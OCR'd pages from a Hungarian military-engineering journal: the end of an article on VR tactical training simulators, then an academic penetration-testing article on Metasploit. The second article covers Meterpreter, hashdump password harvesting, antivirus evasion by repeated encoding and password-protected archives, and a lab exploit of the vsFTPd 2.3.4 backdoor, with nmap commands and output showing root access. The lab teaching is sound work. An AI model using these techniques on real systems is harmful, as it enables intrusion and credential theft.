10. abra

Asterion VR-cég ModulMaze™ CQB rendszerének képe. A virtudlis falakat fizikai falakkal egyeztetik
a szimulacic soran.

Forras: Asterion VR hivatalos oldala (8. |j.)

3 Madalina Dinita: 4 VR backpack PCs for an amazing experience. Elérhetd: https://windowsreport.com/best-vr-
backpack-pcs/ (A letoltés datuma: 2020. 05. 20.)

Hadmérnaok ¢ 15. évfolyam (2020) 3. szdm 21



212

Marlok Tamas: Virtualis valosag alapu taktikai szimulacios kiképzéeszkozok hazai fejlesztési. ..

Az Asterion VR-cég rendszere egy specialis CQB*° tactical progression training” eszkdzt
is ajanl, aminek a lényege, hogy kdnnyd, szabadon rendezhetd padlo- és oldalpanelek-
bél fizikai helyiségeket alakitanak ki, amelyek teljesen szinkronban vannak a virtualis
térrel. Ezaltal - a f6leg épliletatvizsgalas jellegl feladatok soran — a kiképzettek érzik
a falat, a sarkokat, amelyek a virtualis térben leképezett feladatok alapjan tetszéle-
gesen atrendezhet6k.

Fegyverek, taktikai eszkdzok a virtualis térben

A taktikai VR-szimulaciok soran a legszerencsésebb, ha a kiképzendd a sajat fegyverével
vagy ahhoz nagyon hasonlé fegyverrel hajthatja végre a gyakorlatot. Ilyen esetekben
a virtudlis térben szimulalt fegyver és a valds térben létez6 fegyver vagy fegyvermodell
fizikai és virtualis paramétereit, tulajdonsagait szoftveresen is egyeztetni kell. Az igy
felkészitett rendszerekben (ezt mar a 2010-es VIRTSIM is kezelte) a tarcserék, fegyver
kezel&szerveinek modellezése is megtorténhet. Itt is talalhatunk olcsébb, nem teljes
megoldasokat, amelyek féleg a jatékra késziilnek, mert a fizikai és virtudlis egyeztetés
nem pontos, nem kalibralt. A kezel&szervek a térben masképpen helyezkednek el, ezért
kiképzésre hasznalva akar rossz beidegz&déseket is okozhatnak. Ilyen megoldasok még
a Beswin VR-cég kézi HTC Vive Pro kontrollerekre helyezhet6 M4 adaptere (11. abra),
vagy az elektronikus visszarugassal ellatott AK47VR Rifle megoldasa, ahol kiilonalld
kiegészit6t HTC Vive trackert (mozgaskovetét) 2.0 szereltek fel.

11. abra

BeswinVR M4 Rifle adapter. A képen lathatd a hagyomanyos kézi kontrollerek magneses illesztésének modja.
Forras: BeswinVR gyartoi oldala. Elérhetd: www.beswinvr.com/ (A letsltés datuma: 2020. 05. 20.)

A kiilonalld mozgaskovetdre (tracker-re) mint kereskedelemben kaphato ilyen célu
illeszt& megoldasra épit a LeadTech cég is, de mar azzal a céllal, hogy az eszkdzeit valds
fegyverekre szereljék (12. abra). A rendszeriikh6z viszont mar szallitanak szoftverfejleszté

40 Close Quarter Battle - épuletharc, épiileten beliili harc.
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csomagot (SDK#-t) is, amivel a valds fegyver paraméterei modellezhetdk, beallithatok
a virtualis térben. A jatékiparban tobb cég is foglalkozik hasonlo beviteli kiegésziték
fejlesztésével, ahol jelenleg az egyik f6 kutatasi teriilet a visszarugas modellezése,
amelyre korabban szén-dioxidos, airsoft fegyverekhez hasonlé megoldast hasznaltak,
de manapsag elektromagnes altal linedrisan mozgatott tomeggel érik el a hatast. Ha
a kiképzési célu eszkozoket nézziik, az egyik megoldas az Asterion cég Thor trackere,
amelynek segitségével barmilyen valds fegyvert be lehet vinni a virtualis térbe ugy,
hogy a doboz alaku tracker Picatinny (MIL-STD-1913) sinre rogzithetd, igy pontosan van
egyeztetve a csétengellyel és az adott fegyver haromdimenzios virtualis modelljével.

12. abra

Lead Tech cég megoldésa a fegyverek virtualizacidjara. A sdrga konzol a kereskedelmi forgalomban
kaphatoé HTC Vive Tracker 2.0-t tud valds fegyverhez illeszteni.

Forras: Chip Northrup: Using Your Firearm in VR Simulations and Games. 2019. Elérhetd&: https://clazer.
club/2019/01/03/using-your-firearm-in-vr-simulations-and-games/ (A let6ltés datuma: 2020. 05. 20.)

A hasznalhatdésaghoz természetesen még minimum az elsutébillentyl elektronikus
bekotése is meg kell hogy torténjen azilyen rendszereknél. A cég emellett hasznalatra
kinal a rendszerhez el6re gyartott méretazonos szén-dioxidos légfegyvereket is, ame-
lyek a valds fegyver visszarugasat 70%-os erével tudjak szimulalni. Ehhez hasonléan

41 SDK: Software Development Kit — Szoftverfejlesztéi csomag az adott feladat, feladatkér programozéasanak segi-
tésére.
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a féleg rendvédelmi feladatok gyakorlasara létrehozott Apex Officer VR taktikai
szimulacids rendszerének esetében az eszkdzoket el6re modellezték és legyartottak.
A rendszer érdekessége, hogy a jar6r teljes felszerelése rendelkezésre all a szituaciok
megoldasahoz. A karabélyokon, sorétes puskan, pisztolyokon kiviil nem halalos esz-
kozoket is bevethetnek, mint elemlampa, tobbféle elektromos sokkold, bot vagy akar
OC-spray (paprika spray).* Egy sajat fejlesztés(i szimulatorrendszer esetén az ilyen
eszkozok és fegyverek fizikai modellezése, virtudlis térbeli hasznalatdhoz valé el6ké-
szitése nem jelent kihivast a mara mar jol hozzaférhetd additiv gyartastechnologiak,*
elterjedt 3D-szkennelési és -vizualizacids technikak és mikroelektronikai épit6elemek
modularitasanak készonhetéen.**

FLASH LIGHT OC SPRAY

13. abra
Az Officer VR-rendszerben hasznalhatd arzenal eqy része. Elemlampa, bot és paprikaspray.
Forras: Apex Officeri. m. (42. 1j.)

Osszegzés

A cikkben azokat a jelenleg is kdnnyen elérhet6 virtualis valosag eszkdzdket és tech-
nolégiai megoldasokat kivantam elemezni, amelyek akar azonnal rendelkezésre
allnak egy sajat kiképz6eszkoz kialakitasahoz sziikséges kutatas és tervezési munka
megkezdéséhez. Nemzetkdzi példakon keresztiil alatdamasztottam, hogy ezek az esz-
kozok és technologiak valoban alkalmasak kiképzési feladatok végrehajtasara és kiér-
tékelésére. Vizsgaltam azt is, hogy melyek voltak azok a technoldgiai fejlesztések,
amelyek nélkiil a jelenlegi realitasérzet-szintet — ezaltal a kiképzési feladatokra vald

2 Apex Officer rendszere altal hasznalt fegyver és eszkéz modellek. Elérhets: www.apexofficer.com/arsenal (A le-
toltés datuma: 2020. 05. 20.)

4 Gal Bence - Németh Andras: Additiv gyartastechnologiak katonai alkalmazasanak vizsgalata, kiilonds tekintet-
tel a katonai elektronikai teriiletére. Hadmérnck, 14. (2019), 1. 231-249.

#  Németh Andras — Szabo A. - Balog F.: 3D virtualizacids és vizualizacids technologiak az eredmények archiva-
lasaban. In Hausner Gabor — Németh Andras (szerk.): Zrinyi-Ujvér: Eqy 17. szézadi védelmi rendszer az oszmén
hédoltsag hatéran. Budapest, Ludovika Egyetemi Kiado, 2019. 223-266.
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felhasznalhatosagot — nem értiik volna el. A komplex kiképz6rendszer 6sszedllitasdhoz
sziikséges egyéb épitSelemek is vizsgalatom targyat képezték, amelyek alkalmaza-
saval vagy amelyekhez hasonlé megoldasok kidolgozasaval és implementalasaval
a realitasérzet tovabb novelhet6.

A tanulmany kovetkez6 részeiben egyrészt mélyebben kivanom megvizsgalni
azokat a technoldgiara jellemz6 paramétereket, amelyek ismerete és hatékony kezelése
elengedhetetlen egy sikeres perspektivikus kiképzési rendszer kialakitasa soran, masrészt
fel kivanom térképezni azokat a tényezdéket, amelyek megnehezithetik a fejleszték
munkajat. Ezenfelil kitérek azoknak a kompetenciaknak az elemzésére is, amelyek
egy hazai projekt beinditasahoz, majd eredményes végrehajtasahoz sziikségesek.
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A Metasploit tulajdonsagai egy
biztonsagos FTP démon exploit
tukrében

The Properties of Metasploit in the Mirror
of a Secured FTP Daemon Exploit

Jelen cikkben a szerz6k a penetracios tesztek cikksorozat kovetkezd részeként
bemutatjak a Metasploit keretrendszerben alkalmazhaté biztonsagos FTP démon
exploit futtatasa altal meghatéarozhat6 tamadhaté, illetve sériilékenységet mutato
szamitogépek azonositasanak lehetéségeit. Ehhez a szerz6k egy elemz6-értékel6
modszerrel meghataroztak a Metasploit alapelveit, modularis elemeit, az alkal-
mazhat¢ eljarasokat és tamadasi vektorokat. Ezt kovetéen gyakorlati megvalésitas
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a sebezhetd szamitogép alapadatait.
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Bevezetés

A Metasploit nagyon sokoldalu és kiterjesztett penetraciostesztelési keret. Segithet
a penetracios tesztelés soran az eljaras korabban kifejtett minden egyes lépésében.
Ez egy olyan keret, amelyet elész6r 2003-ban fejlesztett ki H. D. Moore,? a Pearl* prog-
ramozasi nyelven. 2007-ben Ujrairtak Ruby-ban,* és 2009-ben a Rapid7® megszerezte
a projektet. Nyilt forraskédu projektként indult, de 2009-ben a Rapid7 kereskedelmi
verziot készitett. Ennek ellenére a nyilt forraskddu keret tovabbra is létezik, és jelen-
leg is folyamatosan hasznalatban van. Ezen elemzés és a projekt soran a Metasploit
keretrendszert, a Metasploit nyilt forraskddu projektjét fogjuk hasznalni.

A Metasploit szerkezete és alkalmazasi lehetSségei

A Metasploit felépitésének azonositasara a legjobb mddszer a fajlok és konyvtarak
bongészése. Minden nagyon szervezett és logikusan felépitett.

Ot f6 modullal rendelkezik:

« Auxiliaries segédberendezések: Kis szkriptek az adott feladat végrehajtasahoz.
Ezek a szkriptek altalaban arra szolgalnak, hogy azonositsak és teszteljék a gépet
egy hasznosithato port felfedezésére. Példaul egy TCP’-portos letapogatas
elvégezhet6 a megcélzott gép IP-cimének és a beolvasand6 porttartomanynak
a bevezetésével. A végrehajtas utan jelentést kell késziteni a megcélzott gép
0sszes TCP nyitott portjaval, a megadott tartomanyon beldl.

+ Exploit: A tdmadas alapvetd alkotoeleme. A kizsakmanyolas egy olyan szkript,
amely —amint a neve is jelzi — kihasznalja a rendszer sebezhet8ségét, hogy ahhoz
hozzaférést biztositson, vagy hasznos terhet futtasson. A Metasploit t6bb mint
2500 kalonféle kihasznaltsaggal rendelkezik minden ismert sebezhet&ségre.
Ezek a szkriptek altaldban nagyon specifikusak, és csak akkor biztositanak

® H.D. Moore hélézati biztonségi szakértd, nyilt forraskddu programozé és hacker. A Metasploit Framework, a pe-
netraciods teszteld szoftvercsomag fejleszt6je és a Metasploit Project alapitoja.

4 A Perl egy altalanos célt, magas szintli, interpretalt, dinamikus programozasi nyelv, amelynek els6 verziojat
Larry Wall 1987. december 18-an tette kozzé. Stilusaban és funkcionalitasaban sokat merit a C, sed, awk és sh
nyelvekbdl. A Perl egyik legfontosabb része a regularis kifejezések széles korli tdmogatasa, amely altal kivaléan
alkalmas nagy méret(i szoveg- vagy adatfajlok egyszer( feldolgozasara.

> ARuby nyilt forraskodu, teljesen objektumorientalt, interpretalt, altaldnos célt programozasi nyelv. Matsumoto
Yukihiro kezdte el megalkotni a nyelvet az 1990-es évek kozepén. A fejlesztésbe késébb tébben bekapcsolddtak.
A Ruby nyelv egyszerre tobb programozasi paradigmat valosit meg, igy a funkcionalis, objektumorientalt, impe-
rativ és reflektiv paradigmaknak is megfelel. Legfontosabb jellemz6i a dinamikus tipusossag és az automatikus
memoriakezelés. A dinamikus szkriptnyelvek csaladjaba tartozik, a Python, Perl, Lisp, Dylan, Pike vagy CLU nyel-
vekhez hasonldan.

®  Kiberbiztonségi cég, amely felvasarolta a Metasploit keretrendszert.

7 A Transmission Control Protocol (TCP) az internet gerincét alkotd TCP/IP protokollcsalad egyik f6 protokollja.
A TCP a csalad két eredeti komponense kozé tartozik, az Internet Protocolt (IP) egésziti ki, igy egyutt TCP/IP
néven szokas hivatkozni rajuk. A TCP/IP protokollhierarchia szallitasi rétegét valositja meg. A TCP egy szamito-
gépen futd program és egy masik szamitogépen futd masik program kézétt egy adatfolyam megbizhato, sor-
rendhelyes atvitelét hivatott biztositani. Az internet legfontosabb szolgaltatasainak nagy része TCP-n keresztiil
érhet6 el ilyen pl. a World Wide Web és az e-mail. Mas alkalmazésok, amelyeknél a kisebb késleltetés fontosabb
a csomagvesztés elkertilésénél, a User Datagram Protocolt (UDP) hasznalhatjak.
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hozzaférést a tdamadonak, ha a célpontszolgaltatas abban a verzioban van,
amelyre a kizsdkmanyolast tervezték.

« Encoders: A tdmadas esetén a legjobb eset mindenféleképpen az, ha a cél
ugyanabban a halézatban talalhato, mint a tdamado, és nincs olyan biztonsagi
szoftver, ami detektalna és jelezné a tdmadast, mint példaul egy viruskeresé.
Avalé vilagban ez nagyon valdszin(itlen. Annak érdekében, hogy a rosszindulatu
kod végrehajthato legyen, at kell mennie ezen a biztonsagi kapun keresztdil,
riasztas felhivasa nélkil. A kodolékat ennek megfelel6en arra alkalmazzuk,
hogy elrejtsék a rosszindulatu kodot.

+ Payload: A hasznos teher az a rosszindulatt kéd, amelynek futtatasa a cél
a megcélzott gépen informacidszerzés vagy hozzaférés céljabol. Alapvetben
elészor kifejlesztenek egy hasznos payloadot, majd kddoljak, tehat nem tlinik
gyanusnak, igy bejuttathaté a tamadando halézatba vagy eszkdzbe, majd végiil
kihasznaljak a hasznos teherbe kodolt feladatok altal generalt eredményeket
amegtamadott halozat vagy gép vonatkozasaban. Haromféle hasznos payload
létezik: 1. Singles: Az &sszes kdd egyetlen hasznos teherben van. A legnyil-
vanvalobb hatranya a fajl mérete. 2. Stagerek: Sok esetben szamit a méret,
és az egyszeri hasznos teher nem hajthato végre. Ezekben az esetekben foko-
zatot hasznalnak. Csatlakozast hoz létre mind a gépek, mind a tamadd, mind
a cél kozott a szakaszok letoltéséhez. 3. Szakaszok: A szakaszok a csomagok
altal letoltott kiilonféle csomagok, amelyek tartalmazzak azt a kéddot, amelyet
a megcélzott gépen futtatni akarunk.

+ Post: A behatolas elérésével kezd6dik a valddi munka, amikor megkezdjiik
a célhoz vald hozzaférést és a karokozast. A post modulok segitik a tamadot
a kar tovabbi névelésében. Nagyon sok specialis célokra alkalmazott scriptet
tartalmaznak, mint példaul 1. Felhasznaldi jogosultsagok bévitése; 2. Men-
tett jelszavak és felhasznalonevek ellopasa; 3. Allandé hozzaférés a géphez;
4. Kulcsnapldzo, a felhasznaldi bemenet nyomon kévetése.®

Adatbazisok és munkatertiletek Metasploitban

A gép tdmadasa kozben sok nagyon hasznos informacio keletkezik. Ha nem tarolunk
helyben és biztonsagosan, akkor ezt az informaciot konnyen elfelejtjiik. A Metasploit
alapértelmezés szerint PostgresSQL® adatbazist hasznal az 6sszes generalt adat
tarolasara. Ez az adatbazis munkateriiletekben elvalaszthatd, igy a felhasznalé nem
keveri 0ssze a fontos informacidkat. A munkateriiletek hasznalata nagyon hasznos
lehet, ha egyszerre dolgozik kiilonféle projekteken. A keretrendszer képes tovabba
az adatbazis informacidinak importalasara és exportalasara, valamint lekérdezésére,
hogy megkapja a konkrét adatokat.

& Carlos Joshua Marquez: An Analysis of the IDS Penetration Tool: Metasploit. Elérheté: www.infosecwriters.com/
text_resources/pdf/jmarquez_Metasploit.pdf (A letéltés datuma: 2020. 03. 16.)

A PostgreSQL, mas néven Postgres egy relaciosadatbazis-kezeld rendszer [angol réviditésébdl: (O)RDBMS]. Li-
cencét tekintve szabad szoftver. Sok mas szabad szoftverhez hasonldan a fejlesztést dnkéntesek végzik kozosségi
alapon.

Hadmérnok « 15. évfolyam (2020) 3. szam 221


http://www.infosecwriters.com/text_resources/pdf/jmarquez_Metasploit.pdf
http://www.infosecwriters.com/text_resources/pdf/jmarquez_Metasploit.pdf

222

Parada Istvan, Toth Andras: A Metasploit tulajdonsagai egy biztonsagos FTP démon...

Integracié mas szolgaltatasokkal

A Metasploit lehetdvé teszi a felhasznalé szamara, hogy a keretben nagyon fon-
tos eszkdzoket hasznaljon. A Metasploit hasznalatanak elénye, hogy a kimenet
automatikusan menthet6 az adatbazisba. Példaul az operacids rendszer észlelésére
az NMAP"-szolgaltatast alkalmazzuk, majd az igy kapott eredmények automa-
tikusan elérhet8ek lesznek minden iranyitdallomasrél, amelyek informaciokat
prébalnak szerezni az adatbazisunkbol. Ebben az esetben csak olyan késziilékek
esetében képes az operacids rendszereket felismerni, amelyek rendelkeznek
néhany nyitott porttal, mert az operacids rendszert a szkennelés altal kildott
ping valaszaval érzékeli.

Meterpreter

A Meterpreter egy el6zetes szakaszos hasznos teher, amely DLL"-injekciét hasznal
a parancsok tavoli végrehajtasara. A DLL-injektalas lehet6vé teszi a kod végrehajtasat
egy masik folyamatcimtérben. Ez azt jelenti, hogy a Meterpreter f6 jellemzéje a futtatas.
Csak a memoriaban van, igy semmit nem ir a lemezen, és nem hoz létre Uj eljarast.
Ez azt jelenti, hogy kevesebb bizonyiték van a tdmadasarol. Egy Meterpreter shell™
megszerzéséhez el8szor be kell juttatni a szakaszos hasznos terhet a rendszerbe, majd
a Meterpreter kialakitja a kapcsolatot a tdmadd rendszerrel. Létrehoz egy Ruby API™-t,
és a tdmadd kommunikalhat az egyszer(, tavolrdl végrehajtott parancsokkal. Néhany
példa ezekre a parancsokra a kulcsnaplézashoz (a felhasznald Gsszes megnyomott
gombjanak rogzitése, hogy mindenekel6tt jelszavakhoz jussunk), képerny6képei annak
rogzitésére, hogy a felhasznald mit csinal abban a pillanatban. A Hashdumps-fajlok™

9 Az NMAP (Network Mapper) egy ingyenes és nyilt forrast haldzati szkenner, amelyet Gordon Lyon hozott ét-
re. Az NMAP arra szolgdl, hogy felfedezzen hosztokat és szolgaltatasokat egy szamitogépes héldzaton, cso-
magok kiildésével és a valaszok elemzésével. Az NMAP szamos szolgaltatast nyujt a szamitdgépes haldzatok
teszteléséhez, beleértve a hoszt felfedezését, valamint a szolgéltatas és az operacids rendszer észlelését. Ezek
a szolgaltatasok kibSvithetdk a szkriptekkel, amelyek fejlettebb szolgéltatasfelismerést, sebezhet6ségi észlelést,
és egyéb szolgaltatasokat nyujtanak. Az NMAP alkalmazkodni tud a halézati feltételekhez, beleértve a késlelte-
tést és a torlodast a szkennelés soran.

" A DLL (Dynamic Link Library, sz6 szerint ,dinamikus csatolast/hivatkozasa kényvtar”) kifejezés az informatika-
ban a Windows operacios rendszerek alkalmazasainak (programjainak) segédfajljait, egészen pontosan az un.
megosztott konyvtarakat jelentik: ezek eljarasokat (fiiggvényeket), a mas programokhoz, illetve rendszerek-
hez val¢ illeszkedést (kompatibilitast) segit8 eszkozoket, esetleg a programok ikonjait taroljak (utobbira példa
a Windows rendszerkényvtaraban talalhato shell32.dll, moricons.dll; cool.dll vagy pifmgr.dll).

2. Mas néven parancsértelmezd. Ugyanazt a feladatot latja el, mint MS-DOS alatt a command.com, de sokkal
tobb mindenre képes. Nem része az operacios rendszernek, ez tartja a kapcsolatot a felhasznalé és az operacios
rendszer koz6tt. Minden felhasznalé bejelentkezésekor egy parancsértelmez6 indul el. A parancsértelmezd szab-
vanyos bemenete és kimenete a terminal. Egy promptot jelenit meg (ami egyénileg beallithato), jelezve, hogy
készen all a feladatok végrehajtasara.

B Az alkalmazéasprogram interfész (API) rutinok, protokollok és eszkozok készlete a szoftveralkalmazasok készi-
téséhez. Alapvet6en egy APl hatarozza meg, hogy a szoftver dsszetevSinek miként kell egymasra hatniuk. Ezen
felil az API-kat hasznaljak a grafikus felhasznaldi feliilet (GUI) 6sszetevSinek programozasakor.

" Alegels6, amit célzott tmadasoknal a tamaddk megtesznek a kompromittalt rendszereken a jelszavak kigydj-
tése. Erre a Meterpreter shell lehet6séget ad, a beépitett hashdump parancs a memoriabol kigydijti az ott tarolt
jelszo hash-eket
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hash jelszavakat tarolnak. El6szor maga a jelszd nem érhet§ el, de ha a jelszé nem
biztonsagos, akkor mas szoftverek feltérhetik azt, mint példaul a JtR (John the Ripper)™.

MSFVenom'™®

A hasznos teher létrehozasa érdekben a Metasploitnak van egy kivalé eszkoze,
amely segiti ebben a munkaban. Az MSFVenom hasznos terheléseket general
és kédol egy paranccsal. Tamogatja ugyanazokat a hasznos terheket és kodoldkat,
amelyeket a f6 keret tdmogat, tehat alapvet6en olyan, mint egy kisebb keret, csak
a hasznos és kddolé modulokkal egyiitt. Azonban az MsfVenom-nak sziiksége van
bizonyos informacidkra a megcélzott géprél a jo hasznos teher kialakitasahoz. Ezeket
az informaciokat tudjuk megszerezni példaul az NMAP-szolgaltatassal. Az MsfVenom
elényei a kovetkezok: 1. egyetlen eszkdz; 2. szabvanyositott parancssori lehet&ségek;
3. megnovelt sebesség."”

Ugyféloldali témadasok

Mint kordbban kifejtettiik, az el6z6 tamadasok csak akkor mlikddnek, ha a megcél-
zott eszkdz ugyanabban a halézatban talalhatd, mint a tamadé. Ha nem ugyanab-
ban a halézatban van a megcélzott gép IP-je, akkor egy NAT'™ mogott van. Ez azt
jelenti, hogy csak a halézat egy nyilvanos IP-jéhez férhet hozza, nem pedig egy
adott géphez.

A korabbi magyarazatokban a tamadé mindig elinditotta a kapcsolatot a cél-
ponttal. Ugyféloldali tamadasok esetén a célgép az, ami megkezdi a kapcsolatot
a tamadégéppel. Ha nem tudjuk elérni a megcélzott gépet, akkor arra késztetjik
az eszkozt, hogy kapcsolatot létesitsen a géplinkkel.

Az elsd lépés egy hasznos teher kifejlesztése, amely csatlakozik a gépilinkhoz.
Példaul, ha hozzaférést szeretnénk elérni egy Windows géphez, akkor a paypreter
meterpreter_reverse_tcp segitségével hozhatunk létre TCP kapcsolatot és megkap-
hatjuk a meterpreter munkamenetet. Ennek a hasznos tehernek a fejlesztéséhez meg
kell ismernlink a gépet, amely azt Gizemelteti, kiildnben nem fog m(ikddni.

> A John the Ripper egy gyors jelszdkrekkeld, jelenleg elérhetd Unix, MacOS, Windows, DOS, BeOS és OpenVMS
rendszerekhez.

6 MSFVenom az MSFpayload és MSFencode kombinacidja, ami ezt a két alkalmazast egy keretrendszerbe foglalja
6ssze. Az MSFVenom 2015. junius 8-an vette at a msfpayload and msfencode helyét.

7 MsfVenom. Offensive security. Elérhets: www.offensive-security.com/metasploit-unleashed/msfvenom/ (A letéltés
datuma: 2020. 03.18.)

8 Ahaldzati cimforditas (angolul Network Address Translation, roviden NAT) a csomagsziird tiizfalak, illetve a cim-
forditasra képes halozati eszk6zok (pl. router) kiegészit6 szolgaltatasa, amely lehetévé teszi a bels halozatra
kotott gépek kozvetlen kommunikacidjat tetszéleges protokollokon keresztiil kiilsé gépekkel anélkiil, hogy azok-
nak sajat nyilvanos IP-cimmel kellene rendelkeznitik. Cimforditasra akar egyetlen szamitdgép is képes, igy valo-
sithaté meg példaul az internetkapcsolat-megosztas is, amikor a megosztd gép a sajat publikus cimébe forditja
bele a megosztast kihasznalo kliens gép forgalmat.
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Virusirtok elkertilése

Korabban bemutattuk a kodolé modult, és azt mondtuk, hogy nagyon hasznosak a rosz-
szindulaty koédok elrejtésében a virusirtoktdl, de a kddold hasznalata nem elegends.
Awww.virustotal.com webhelyek segitségével ellenérizhetik, hogy egy viruskeresd ész-
lel-e hasznos terhet, vagy sem. Ha a hasznos teher kodolasa nem csak egy alkalommal
torténik, az antivirusok nagy része felismeri. Ennek megoldasara a kédolas tobbszoros
iteracioit hasznaljak. Annak érdekében, hogy a hasznos teher jél kddolva legyen, javasolt
a kilonbozd kodoldk és iteraciok keverése, hogy a kimutatasi sebesség annyira korlato-
zott legyen, amennyire csak lehetséges a méretkorlatozasokon belil. Minden uj iteracié
és kodolas noveli a fajl méretét, s6t akar a hasznos terhet is karosithatja.

A viruskeresd szoftverek elkeriilésének masik mdédja a tomorité programok, példaul
a Winrar® vagy a 7-Zip? hasznalata. Végiil, egy antivirus elleni nagykertilés érdekében
adhatunk egy jelszot is a tomoritett allomanyunkhoz. Ez nagymértékben megndveli
az athatolasi képességiinket a védelmi szoftvereken, ugyanakkor problémat jelenthet,
hogy a felhasznaldknak is tudniuk kell a jelszdt, hogy kibontsak és futtassak a fajlt.?'

A vsFTPd?? exploit

A vsFTPd Metasploittal valo exploitjanak végrehajtasat virtualis gépekkel bizonyitjuk
be. A virtudlis gépeket egy fizikai szamitogépen futtattuk, amelynek specifikacioi
a kovetkez6k voltak (1. tablazat):

+ legalabb 8 GB RAM memodria és 35 GB szabad tarhely;

» Oracle VirtualBox?;

+ harom virtualis gép:

1. tablazat
Az alkalmazott szamitdgépen futtatott virtualis gépek specifikacidi.
Forras: a szerz6k Osszeallitasa

Virtualis gépek RAM Disk Space
Tamado gép (Kali) 1GB 10 GB
Sebezhetd virtualis gép (Metasploitable) 512 KB 8 GB
Virtualis Router 3GB 10 GB

¥ A WInRAR egy fajltomorits és -archivalé program Microsoft Windows operacios rendszerhez. Létezik hozza
parancssoros és grafikus felhasznaloi feliilet is.

2 A7-Zip egy fajltomoritd és -archivald program Microsoft Windows operaciés rendszerhez. Létezik hozza parancssoros
és grafikus felhasznaloi feliilet is. Képes beépiilni a Windows Intézébe. A 7-Zip ingyenes program, LGPL licenccel.

21 Nil Torres Pages: Module development in Metasploit for pentesting. A Degree Thesis, Universitat Politécnica de
Catalunya, 2019. 15-20.

22 ysFTPd (vagy nagyon biztonsagos FTP-démon), egy FTP-szerver Unix-szer(i rendszerekhez, ideértve a Linuxot is.
A GNU Altalanos Nyilvanos Licenc alapjan engedélyezett. Témogatja az IPv6-ot, a TLS-t és az FTPS-t (2.0.0 6ta
explicit és 2.1.0 6ta implicit). Ez az alapértelmezett FTP-szerver az Ubuntu, CentOS, Fedora, NimbleX, Slackware
és RHEL Linux disztribuciokban.

23 A Virtualbox egy elterjedt kliensoldali virtualizacios szoftver. Eredetileg az Innotek GmbH terméke volt, amit
el6szor a SUN vasarolt meg, majd az Oracle tulajdonaba kertilt. A szoftver ingyenes, elérheté Windows, Linux
és MacOS platformokra is.
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A felderités

Ebben a részben az NMAP hasznalataval hatarozhaté meg, hogy a virtualis sebezheté
gép sériilékenységet takar-e a vsFTPd 2.3.4 verzidhoz tarsitva. A vsFTPd 2.3.4 gyokér
szint(i (magas szintl) hozzaférést az FTP?*-kiszolgalohoz (kiszolgalo masok szamara
letolthetd fajlok tarolasara), az azon talalhatd biztonsagi rés(ek) kihasznalasaval.

Az NMAP opcidk segitségével szkript hasznalhaté az FTP biztonsagi résének
tesztelésére:

root@kali:~# nmap —-script ftp-vsFTPd-backdoor
209.165.200.235 —-reason > ftpd.txt

Amikor a prompt visszatér, az NMAP-eredményeket tartalmazd szdveges fajlt
megnyitjuk.

root@kali:~# cat ftpd.txt

Az eredmény felsorolja a vsFTPd sebezhet&séget és mas nyitott portokat, ame-
lyeket az NMAP észlel a virtudlis gépen. Ebben az esetben a 21. port segitségével
tudjuk kihasznalni a biztonsagi rést (1. abra).?

:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 --reason > ftpd.txt
(~# cat ftpd.txt

Starting Nmap 7.40 ( https://nmap.org ) at 2020-03-24 10:36 EDT
Nmap scan report for 209.165.200.235

Host is up, received echo-reply ttl 63 (0.0057s latency).

Not shown: 980 closed ports

Reason: 980 resets

PORT STATE SERVICE REASON

21/tcp  open ftp syn-ack ttl 63

| ftp-vsftpd-backdoor:

| VULNERABLE:

|  vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2011-2523 0SVDB:73573
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:

| Shell command: id

| Results: uid=0(root) gid=0(root)

| References:

| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd 234
backdoor. rb

| http://osvdb.org/73573

22/tcp open ssh syn-ack ttl 63

23/tcp  open telnet syn-ack ttl 63

25/tcp  open smtp syn-ack ttl 63

53/tcp  open domain syn-ack ttl 63

80/tcp  open http syn-ack ttl 63

1. abra
Az NMAP éltal kimutatott nyitott port a vsFTPd 2.3.4 alkalmazédsahoz.
Forras: a szerz6k 6sszeallitasa

24 AFile Transfer Protocol vagy révid nevén FTP TCP/IP halézatokon —mint amilyen az internet is — torténd alloma-
nyatvitelre szolgald szabvany.

% Metasploitable 1: vsFTPd 2.3.4. Elérhetd: https://medium.com/@mplacio/metasploitable-1-vsFTPd-2-3-4-c4d3e-
a5db208 (A letdltés datuma: 2020. 03. 20.)
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Az exploit hasznalata

A vsFTPd sebezhetdséget kihasznalva egy root?*-hozzaférés szerezhetd a virtualis
géphez a teljes ellen6rzés megszerzése céljabol a virtualis gép folott.

A Metasploit Framework hasznalataval elindithaté a kizsakmanyolas a virtualis
sebezhetd gép ellen a vsFTPd hasznalataval. A Metasploit Framework (MSF) egy esz-
koz tavoli célszamitogép elleni tamadasok fejlesztéséhez és inditasahoz. Hasznalhatd
egy gazdagép sebezhet&ségének tesztelésére is. Az MSFconsole valdszinlleg az MSF
legnépszer(ibb felilete (2. abra). Ez egy ,mindent az egyben” kdzpontositott konzolt
biztosit, és lehet&vé teszi a hatékony hozzaférést az MSF-ben elérhet Osszes alkal-
mazoi felillethez, lehet&séghez. Az MSFconsole hasznalatanak el6nyei:

+ ezazegyetlen tamogatott mod a Metasploit legtobb szolgaltatasanak elérésére;

+ konzolalapu feliiletet biztosit a kerethez;

+ alegtdbb szolgaltatast tartalmazza, és a legstabilabb MSF-interfész;

+ teljes readline tamogatas, parancsvégrehajtas;

* lehetséges kiilsé parancsok futtatasa az MSFconsole-ban.?

root@kali:~# msfconsole

:~# msfconsole

dg, dgp
d8p “BP d888888p
d888888pP 788"
d8bd8b.d8p d8888h 788" d888h8h d8pP ?8b 88P
88P°7P'7P d8h_,dP 88P d8P' 788 d8P d8888b $whi?88h 88b
d88 d8 78 88h 88b 88h ,88b 788,.d88b, dB88 d8P' 788 88P "?8b
88" d88b 8b'78888P'"78h" 788P" “788' 788 788 88bh 88 d88
83b d8P 88h 78888P"
888888P'  88n
d8sp’

d

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

metasplo .14.10 ]
1639 exploits - 944 iary - 289 post 1]
472 payloads - 40 encoders - 9 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

[
o
-=[
[

2. abra
Az MSFconsole nyitdfeliilete.
Forras: a szerzék Osszeallitasa

